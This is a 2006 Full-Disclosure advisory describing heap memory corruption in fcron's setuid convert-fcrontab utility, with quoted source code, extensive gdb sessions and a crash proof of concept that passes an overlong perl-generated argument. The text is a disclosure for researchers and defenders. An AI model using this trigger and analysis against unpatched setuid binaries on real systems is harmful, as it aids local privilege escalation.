Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11259
HistoryFeb 01, 2006 - 12:00 a.m.

[Full-disclosure] Fcrontab - memory corruption on heap.

2006-02-0100:00:00
vulners.com
6

Name: Fcron - convert-fcrontab
Vendor URL: http://fcron.free.fr
Author: Adam Zabrocki <[email protected]>
Date: November 25, 2005

Issue:

    Fcron &#40;convert-fcrontab&#41; allow users to corruption on heap section.



Description:

    Fcron is a periodical command scheduler which aims at replacing Vixie Cron,

and implements most of its functionalities.

More information about Fcron is available from http://fcron.free.fr/description.php

Details:

    Possible to do heap corruption in suid frcon&#39;s program - convert-fcrontab.

When we call program with long argument, he do corruption by syslog() function
when function open_memstream() try to alloc memory via malloc() function to argument
for syslog() function. There is small bugs on heap by using integer overflow:

"convert-fcrontab.c"
int
main(int argc, char *argv[])
{

...
...

user_to_update = strdup2&#40;argv[optind]&#41;;

if &#40;chdir&#40;cdir&#41; != 0&#41;
    die_e&#40;&quot;Could not change dir to &quot; FCRONTABS&#41;;

convert_file&#40;user_to_update&#41;;

exit&#40;EXIT_OK&#41;;

}

Funtion strdup2() was written by fcron's autors:

"subs.c"
char *
strdup2(const char *str)
{
char *ptr;

if &#40; str == NULL &#41;
    return NULL;

ptr = malloc&#40;strlen&#40;str&#41; + 1&#41;;

if &#40; ! ptr&#41;
    die_e&#40;&quot;Could not calloc&quot;&#41;;

strcpy&#40;ptr, str&#41;;
return&#40;ptr&#41;;

}

When strlen(str)+1 do in fact small number malloc don't allocate
enought memory and by function strcpy() we can overwrite some data.

In bug what do memory corruption by syslog() function this call accelerate
stack (so heap too).

We can do this bug by many calls. The most simple way to use it is write
bad argument to program:

"convert-fcrontab.c"
void
convert_file(char file_name)
/
this functions is a mix of read_file() from version 1.0.3 and save_file(),

  • so you can read more comments there */
    {

    Alloc(file, cf_t);
    /* open file */
    if ( (f = fopen(file_name, "r")) == NULL )
    die_e("Could not read %s", file_name);



    }

Alloc() accelerate stack/heap too. This function we can saw here:

"global.h"
#define Alloc(PTR, TYPE) \
if( (PTR = calloc(1, sizeof(TYPE))) == NULL ) \
die_e("Could not calloc.");

Function die_e():

"log.c"
void
die_e(char *fmt, …)
{
va_list args;
int err_no = 0;

err_no = errno;

va_start(args, fmt);
log_e(COMPLAIN_LEVEL, fmt, args);
va_end(args);
if (getpid() == daemon_pid) error("Aborted");

exit(err_no);

}

Argument what we deliver to program are still use and now is argument
for log_e() function:

"log.c"
static void
log_e(int priority, char *fmt, va_list args)
{
int saved_errno;
char *msg;

saved_errno=errno;

if &#40; &#40;msg = make_msg&#40;strerror&#40;saved_errno&#41;, fmt, args&#41;&#41; == NULL &#41;
    return ;

log_syslog_str&#40;priority, msg&#41;;
log_console_str&#40;msg&#41;;

free&#40;msg&#41;;

}

Function make_msg() allocate again memory for own argument:

"log.c"
char *
make_msg(const char *append, char *fmt, va_list args)
{
int len;
char *msg = NULL;

if &#40; &#40;msg = calloc&#40;1, MAX_MSG + 1&#41;&#41; == NULL &#41;
    return NULL;
...
len = vsnprintf&#40;msg, MAX_MSG + 1, fmt, args&#41;;
...
...

}

And function log_syslog_str():

"log.c"
void
log_syslog_str(int priority, char *msg)
{
if (dosyslog) {
xopenlog();
syslog(priority, "%s", msg);
}

}

Function xopenlog() call only openlog() function:

"log.c"
static void
xopenlog(void)
{
if (!log_open) {
openlog(prog_name, LOG_PID, SYSLOG_FACILITY);
log_open=1;
}
}

… and in the end function log_syslog_str() call syslog()
function. Function syslog() in fact call function vsyslog()
and in many calls there is another call do malloc() function
to allocate memory for own argument. Let's see what we get
from gdb:

root@pi3:/News/fcron-3.0.0# gdb -q ./convert-fcrontab
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r `perl -e 'print "A"x600'`
Starting program: /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "A"x600'`
13:12:54 Converting
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(truncated)
*** glibc detected*** malloc(): memory corruption: 0x0804eec0 ***

Program received signal SIGABRT, Aborted.
0x40084ef1 in kill () from /lib/libc.so.6
(gdb) bt
#0 0x40084ef1 in kill () from /lib/libc.so.6
#1 0x40084b15 in raise () from /lib/libc.so.6
#2 0x400863fd in abort () from /lib/libc.so.6
#3 0x400b776c in __libc_message () from /lib/libc.so.6
#4 0x400c0066 in malloc_printerr () from /lib/libc.so.6
#5 0x400bebea in _int_malloc () from /lib/libc.so.6
#6 0x400bd7a3 in malloc () from /lib/libc.so.6
#7 0x400b6110 in open_memstream () from /lib/libc.so.6
#8 0x40111d40 in vsyslog () from /lib/libc.so.6
#9 0x40111caf in syslog () from /lib/libc.so.6
#10 0x0804a5d8 in log_syslog_str (priority=3, msg=0x804ee08 "Could not read ", 'A' <repeats 146 times>, "
(truncated)")
at log.c:102
#11 0x0804a739 in log_e (priority=3, fmt=0x804abcf "Could not read %s", args=0xbffff014
"ĐČ\004\bpz\006@0l\001@áŘ")
at log.c:165
#12 0x0804a90c in die_e (fmt=0x804abcf "Could not read %s") at log.c:339
#13 0x0804923a in convert_file (file_name=0x804c8d0 'A' <repeats 200 times>…) at convert-fcrontab.c:153
#14 0x0804936d in main (argc=134523688, argv=0xbffff677) at convert-fcrontab.c:276
(gdb)

What we can saw glibc detected memory coruption and send signal SIGABRT
to exit program.

(gdb) disass syslog
Dump of assembler code for function syslog:

0x40111caa <syslog+26>: call 0x40111cc0 <vsyslog>

(gdb) b vsyslog
Breakpoint 1 at 0x40111cc6
(gdb) r `perl -e 'print "A"x600'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "A"x600'`

Breakpoint 1, 0x40111cc6 in vsyslog () from /lib/libc.so.6
(gdb) x/s $ebx
0x804cb30: "Converting ", 'A' <repeats 150 times>, " (truncated)"
(gdb)

So own argument is in %ebx register

(gdb) disass vsyslog
Dump of assembler code for function vsyslog:

0x40111cc9 <vsyslog+9>: push %ebx

0x40111cd3 <vsyslog+19>: call 0x400712cd <__i686.get_pc_thunk.bx>
0x40111cd8 <vsyslog+24>: add $0x6331c,%ebx

0x40111d3b <vsyslog+123>: call 0x400b60f0 <open_memstream>

(gdb) x/2i 0x400712cd
0x400712cd <__i686.get_pc_thunk.bx>: mov (%esp),%ebx
0x400712d0 <__i686.get_pc_thunk.bx+3>: ret
(gdb) c
Continuing.
13:46:09 Converting
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(truncated)

Breakpoint 1, 0x40111cc6 in vsyslog () from /lib/libc.so.6
(gdb) b *0x400712cd
Breakpoint 2 at 0x400712cd
(gdb) c
Continuing.

Breakpoint 2, 0x400712cd in __i686.get_pc_thunk.bx () from /lib/libc.so.6
(gdb) bt
#0 0x400712cd in __i686.get_pc_thunk.bx () from /lib/libc.so.6
#1 0x40111cd8 in vsyslog () from /lib/libc.so.6
#2 0x40111caf in syslog () from /lib/libc.so.6
#3 0x0804a5d8 in log_syslog_str (priority=3, msg=0x804ee08 "Could not read ", 'A' <repeats 146 times>, "
(truncated)")
at log.c:102
#4 0x0804a739 in log_e (priority=3, fmt=0x804abcf "Could not read %s", args=0xbffff014
"ĐČ\004\bpz\006@0l\001@áŘ")
at log.c:165
#5 0x0804a90c in die_e (fmt=0x804abcf "Could not read %s") at log.c:339
#6 0x0804923a in convert_file (file_name=0x804c8d0 'A' <repeats 200 times>…) at convert-fcrontab.c:153
#7 0x0804936d in main (argc=134523688, argv=0xbffff677) at convert-fcrontab.c:276
(gdb) b *0x400712d0
Breakpoint 3 at 0x400712d0
(gdb) i r esp
esp 0xbfffeda0 0xbfffeda0
(gdb) i r ebx
ebx 0x804ee08 134540808
(gdb) x/s $ebx
0x804ee08: "Could not read ", 'A' <repeats 146 times>, " (truncated)"
(gdb) c
Continuing.

Breakpoint 3, 0x400712d0 in __i686.get_pc_thunk.bx () from /lib/libc.so.6
(gdb) i r esp
esp 0xbfffeda0 0xbfffeda0
(gdb) i r ebx
ebx 0x40111cd8 1074863320
(gdb) x/x $esp
0xbfffeda0: 0x40111cd8
(gdb) b *0x40111d3b // this is address for call open_memstream() function
Breakpoint 4 at 0x40111d3b
(gdb) del 2 3
(gdb) c
Continuing.

Breakpoint 4, 0x40111d3b in vsyslog () from /lib/libc.so.6
(gdb) i r ebx
ebx 0x40174ff4 1075269620
(gdb) p/x 0x40174ff4-0x40111cd8
$5 = 0x6331c // 0x40111cd8 <vsyslog+24>: add $0x6331c,%ebx
(gdb) x/20i 0x400b60f0

0x400b60f5 <open_memstream+5>: push %ebx

0x400b60f6 <open_memstream+6>: sub $0x10,%esp
0x400b60f9 <open_memstream+9>: call 0x400712cd <__i686.get_pc_thunk.bx>
0x400b60fe <open_memstream+14>: add $0xbeef6,%ebx
0x400b610b <open_memstream+27>: call 0x400710c4 <_ufc_foobar+221220>

(gdb) // instruction from 0x400712cd address we saw there is mov (%esp),%ebx
(gdb) b *0x400b610b
Breakpoint 5 at 0x400b610b
(gdb) c
Continuing.

Breakpoint 5, 0x400b610b in open_memstream () from /lib/libc.so.6
(gdb) i r ebx
ebx 0x40174ff4 1075269620
(gdb) x/20i 0x400710c4 // call 0x400710c4 <_ufc_foobar+221220>
0x400710c4 <_ufc_foobar+221220>: jmp *0x28(%ebx)
0x400710ca <_ufc_foobar+221226>: push $0x38
0x400710cf <_ufc_foobar+221231>: jmp 0x40071044 <_ufc_foobar+221092>
0x400710d4 <_ufc_foobar+221236>: jmp *0x2c(%ebx)

(gdb) x/20i 0x40071044
0x40071044 <_ufc_foobar+221092>: pushl 0x4(%ebx)
0x4007104a <_ufc_foobar+221098>: jmp 0x8(%ebx)
0x40071050 <_ufc_foobar+221104>: add %al,(%eax)
0x40071052 <_ufc_foobar+221106>: add %al,(%eax)
0x40071054 <_ufc_foobar+221108>: jmp 0xc(%ebx)

(gdb) b 0x400710cf
Breakpoint 6 at 0x400710cf
(gdb) c
Continuing.
*** glibc detected
malloc(): memory corruption: 0x0804eec0 ***

Program received signal SIGABRT, Aborted.
0x40084ef1 in kill () from /lib/libc.so.6
(gdb) bt
#0 0x40084ef1 in kill () from /lib/libc.so.6
#1 0x40084b15 in raise () from /lib/libc.so.6
#2 0x400863fd in abort () from /lib/libc.so.6
#3 0x400b776c in __libc_message () from /lib/libc.so.6
#4 0x400c0066 in malloc_printerr () from /lib/libc.so.6
#5 0x400bebea in _int_malloc () from /lib/libc.so.6
#6 0x400bd7a3 in malloc () from /lib/libc.so.6
#7 0x400b6110 in open_memstream () from /lib/libc.so.6
#8 0x40111d40 in vsyslog () from /lib/libc.so.6
#9 0x40111caf in syslog () from /lib/libc.so.6
#10 0x0804a5d8 in log_syslog_str (priority=3, msg=0x804ee08 "Could not read ", 'A' <repeats 146 times>, "
(truncated)")
at log.c:102
#11 0x0804a739 in log_e (priority=3, fmt=0x804abcf "Could not read %s", args=0xbffff014
"ĐČ\004\bpz\006@0l\001@áŘ")
at log.c:165
#12 0x0804a90c in die_e (fmt=0x804abcf "Could not read %s") at log.c:339
#13 0x0804923a in convert_file (file_name=0x804c8d0 'A' <repeats 200 times>…) at convert-fcrontab.c:153
#14 0x0804936d in main (argc=134523688, argv=0xbffff677) at convert-fcrontab.c:276
(gdb) x/i 0x400c0066
0x400c0066 <malloc_printerr+166>: jmp 0x400bffea <malloc_printerr+42>
(gdb) disass malloc_printer
Dump of assembler code for function malloc_printerr:

0x400bffcc <malloc_printerr+12>: mov %ebx,0xfffffff4(%ebp)
0x400bffcf <malloc_printerr+15>: call 0x400712cd <__i686.get_pc_thunk.bx>
0x400bffd4 <malloc_printerr+20>: add $0xb5020,%ebx

0x400bffea <malloc_printerr+42>: mov 0xfffffff4(%ebp),%ebx

(gdb) x/2i 0x400c0061
0x400c0061 <malloc_printerr+161>: call 0x400b75a0 <__libc_message>
0x400c0066 <malloc_printerr+166>: jmp 0x400bffea <malloc_printerr+42>
(gdb)

As we can saw 6 break point don't return. Function open_memstream() call malloc() and this function
do corruption. The adress where is consolidation is 0x0804eec0. But as we can saw the stack pointer
is moved to %ebx many times. If we controle the stack size we can saw that adress where is corruption
is moved:

root@pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "A"x600'`
15:11:06 Converting
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(truncated)
*** glibc detected*** malloc(): memory corruption: 0x0804eec0 ***
Przerwane
root@pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "AA"x600'`
15:11:09 Converting
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(truncated)
*** glibc detected*** malloc(): memory corruption: 0x0804f118 ***
Przerwane
root@pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "AAA"x600'`
15:11:11 Converting
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(truncated)
*** glibc detected*** malloc(): memory corruption: 0x0804f370 ***
Przerwane
root@pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "AAAA"x600'`
15:11:19 Converting
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(truncated)
*** glibc detected*** malloc(): memory corruption: 0x0804f5c8 ***
Przerwane
root@pi3:/News/fcron-3.0.0#

Crash is in kill() function:

(gdb)
0x40084ee0 <kill+0>: mov %ebx,%edx
0x40084ee2 <kill+2>: mov 0x8(%esp),%ecx
0x40084ee6 <kill+6>: mov 0x4(%esp),%ebx
0x40084eea <kill+10>: mov $0x25,%eax
0x40084eef <kill+15>: int $0x80
0x40084ef1 <kill+17>: mov %edx,%ebx

(gdb) i r edx
edx 0x40174ff4 1075269620
(gdb)

That's all

Exploit:


    Simple Proof of Concept:

root@pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "pi3"x600'`
15:28:13 Converting
pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3
(truncated)
*** glibc detected*** malloc(): memory corruption: 0x0804f370 ***
Przerwane (core dumped)
root@pi3:/News/fcron-3.0.0#

Btw. convert-frontab have suid bit and user/group root by default in trustix Linux.


pi3 (pi3ki31ny) - [email protected]
http://www.pi3.int.pl


Poczuj siłę prawdziwych eksplozji! Przetestuj swoje kino domowe!
Niewidzialny na DVD!
http://klik.wp.pl/?adr=http&#37;3A&#37;2F&#37;2Fadv.reklama.wp.pl&#37;2Fas&#37;2Fniewidzialny.html&amp;sid=647


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/